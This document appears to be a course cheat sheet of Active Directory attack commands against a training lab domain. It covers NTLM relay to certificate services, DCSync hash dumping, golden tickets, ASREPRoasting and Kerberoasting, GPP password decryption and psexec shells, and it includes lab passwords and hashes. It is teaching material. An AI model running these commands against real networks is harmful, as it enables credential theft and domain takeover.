`sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController`	Impacket tool used to create an `NTLM relay` by specifiying the web enrollment URL for the `Certificate Authority` host. Perfomred from a Linux-based host.

Command	Description
`git clone https://github.com/topotam/PetitPotam.git`	Used to clone the `PetitPotam` exploit using git. Performed from a Linux-based host.
`python3 PetitPotam.py 172.16.5.225 172.16.5.5`	Used to execute the PetitPotam exploit by specifying the IP address of the attack host (`172.16.5.255`) and the target Domain Controller (`172.16.5.5`). Performed from a Linux-based host.
`python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <base64 certificate> = dc01.ccache`	Uses `gettgtpkinit`.py to request a TGT ticket for the Domain Controller (`dc01.ccache`) from a Linux-based host.
`secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL`	Impacket tool used to perform a DCSync attack and retrieve one or all of the `NTLM password hashes` from the target Windows domain. Performed from a Linux-based host.
`klist`	`krb5-user` command used to view the contents of the `ccache` file. Performed from a Linux-based host.

Command	Description
`python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$`	Used to submit TGS requests using `getnthash.py` from a Linux-based host.
`secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba`	Impacket tool used to extract hashes from `NTDS.dit` using a `DCSync attack` and a captured hash (`-hashes`). Performed from a Linux-based host.
`.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /<base64 certificate>=/ptt`	Uses Rubeus to request a TGT and perform a `pass-the-ticket attack` using the machine account (`/user:ACADEMY-EA-DC01$`) of a Windows target. Performed from a Windows-based host.
`mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt`	Performs a DCSync attack using `Mimikatz`. Performed from a Windows-based host.

Miscellaneous Misconfigurations

Command	Description

Command	Description
`Import-Module .\SecurityAssessment.ps1`	Used to import the module `Security Assessment.ps1`. Performed from a Windows-based host.
`Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL`	SecurityAssessment.ps1 based tool used to enumerate a Windows target for `MS-PRN Printer bug`. Performed from a Windows-based host.
`adidnsdump -u inlanefreight\\forend ldap://172.16.5.5`	Used to resolve all records in a DNS zone over `LDAP` from a Linux-based host.
`adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r`	Used to resolve unknown records in a DNS zone by performing an `A query` (`-r`) from a Linux-based host.
`Get-DomainUser * | Select-Object samaccountname,description`	PowerView tool used to display the description field of select objects (`Select-Object`) on a target Windows domain from a Windows-based host.
`Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol`	PowerView tool used to check for the `PASSWD_NOTREQD` setting of select objects (`Select-Object`) on a target Windows domain from a Windows-based host.
`ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts`	Used to list the contents of a share hosted on a Windows target from the context of a currently logged on user. Performed from a Windows-based host.

Group Policy Enumeration & Attacks

Command	Description
`gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE`	Tool used to decrypt a captured `group policy preference password` from a Linux-based host.

Command	Description
`crackmapexec smb -L | grep gpp`	Locates and retrieves a `group policy preference password` using `CrackMapExec`, the filters the output using `grep`. Peformed from a Linux-based host.
`crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin`	Locates and retrieves any credentials stored in the `SYSVOL` share of a Windows target using `CrackMapExec` from a Linux-based host.
`Get-DomainGPO | select displayname`	PowerView tool used to enumerate GPO names in a target Windows domain from a Windows-based host.
`Get-GPO -All | Select DisplayName`	PowerShell cmd-let used to enumerate GPO names. Performed from a Windows-based host.
`$sid=Convert-NameToSid "Domain Users"`	Creates a variable called `$sid` that is set equal to the `Convert-NameToSid` tool and specifies the group account `Domain Users`. Performed from a Windows-based host.
`Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq $sid`	PowerView tool that is used to check if the `Domain Users` (`eq $sid`) group has any rights over one or more GPOs. Performed from a Windows-based host.
`Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532`	PowerShell cmd-let used to display the name of a GPO given a `GUID`. Performed from a Windows-based host.

ASREPRoasting

Command	Description

Command	Description
`Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl`	PowerView based tool used to search for the **`DONT_REQ_PREAUTH`** value across in user accounts in a target Windows domain. Performed from a Windows-based host.
`.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat`	Uses **`Rubeus`** to perform an **`ASEP Roasting attack`** and formats the output for **`Hashcat`**. Performed from a Windows-based host.
`hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt`	Uses **`Hashcat`** to attempt to crack the captured hash using a wordlist (**`rockyou.txt`**). Performed from a Linux-based host.
`kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt`	Enumerates users in a target Windows domain and automatically retrieves the **`AS`** for any users found that don't require Kerberos pre-authentication. Performed from a Linux-based host.

Trust Relationships - Child > Parent Trusts

Command	Description
`Import-Module activedirectory`	Used to import the **`Active Directory`** module. Performed from a Windows-based host.
`Get-ADTrust -Filter *`	PowerShell cmd-let used to enumerate a target Windows domain's trust relationships. Performed from a Windows-based host.

Command	Description
`Get-DomainTrust`	PowerView tool used to enumerate a target Windows domain's trust relationships. Performed from a Windows-based host.
`Get-DomainTrustMapping`	PowerView tool used to perform a domain trust mapping from a Windows-based host.
`Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName`	PowerView tools used to enumerate users in a target child domain from a Windows-based host.
`mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt`	Uses Mimikatz to obtain the `KRBTGT` account's `NT Hash` from a Windows-based host.
`Get-DomainSID`	PowerView tool used to get the SID for a target child domain from a Windows-based host.
`Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid`	PowerView tool used to obtain the `Enterprise Admins` group's SID from a Windows-based host.
`ls \\academy-ea-dc01.inlanefreight.local\c$`	Used to attempt to list the contents of the C drive on a target Domain Controller. Performed from a Windows-based host.
`mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt`	Uses `Mimikatz` to create a `Golden Ticket` from a Windows-based host .
`.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt`	Uses `Rubeus` to create a `Golden Ticket` from a Windows-based host.

Command	Description
`mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm`	Uses `Mimikatz` to perform a DCSync attack from a Windows-based host.
`secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt`	Impacket tool used to perform a DCSync attack from a Linux-based host.
`lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240`	Impacket tool used to perform a `SID Brute forcing` attack from a Linux-based host.
`lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"`	Impacket tool used to retrieve the SID of a target Windows domain from a Linux-based host.
`lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"`	Impacket tool used to retrieve the `SID` of a target Windows domain and attach it to the Enterprise Admin group's `RID` from a Linux-based host.
`ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker`	Impacket tool used to create a `Golden Ticket` from a Linux-based host.
`export KRB5CCNAME=hacker.ccache`	Used to set the `KRB5CCNAME Environment Variable` from a Linux-based host.
`psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5`	Impacket tool used to establish a shell session with a target Domain Controller from a Linux-based host.
`raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm`	Impacket tool that automatically performs an attack that escalates from child to parent domain.

Trust Relationships - Cross-Forest

Command	Description
`Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName`	PowerView tool used to enumerate accounts for associated `SPNs` from a Windows-based host.
`Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof`	PowerView tool used to enumerate the `mssqlsvc` account from a Windows-based host.
`.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap`	Uses `Rubeus` to perform a Kerberoasting Attack against a target Windows domain (`/domain:FREIGHTLOGISTICS.local`) from a Windows-based host.
`Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL`	PowerView tool used to enumerate groups with users that do not belong to the domain from a Windows-based host.
`Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator`	PowerShell cmd-let used to remotely connect to a target Windows system from a Windows-based host.
`GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley`	Impacket tool used to request (`-request`) the TGS ticket of an account in a target Windows domain (`-target-domain`) from a Linux-based host.
`bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2`	Runs the Python implementation of `BloodHound` against a target Windows domain from a Linux-based host.
`zip -r ilfreight_bh.zip *.json`	Used to compress multiple files into 1 single `.zip` file to be uploaded into the BloodHound GUI.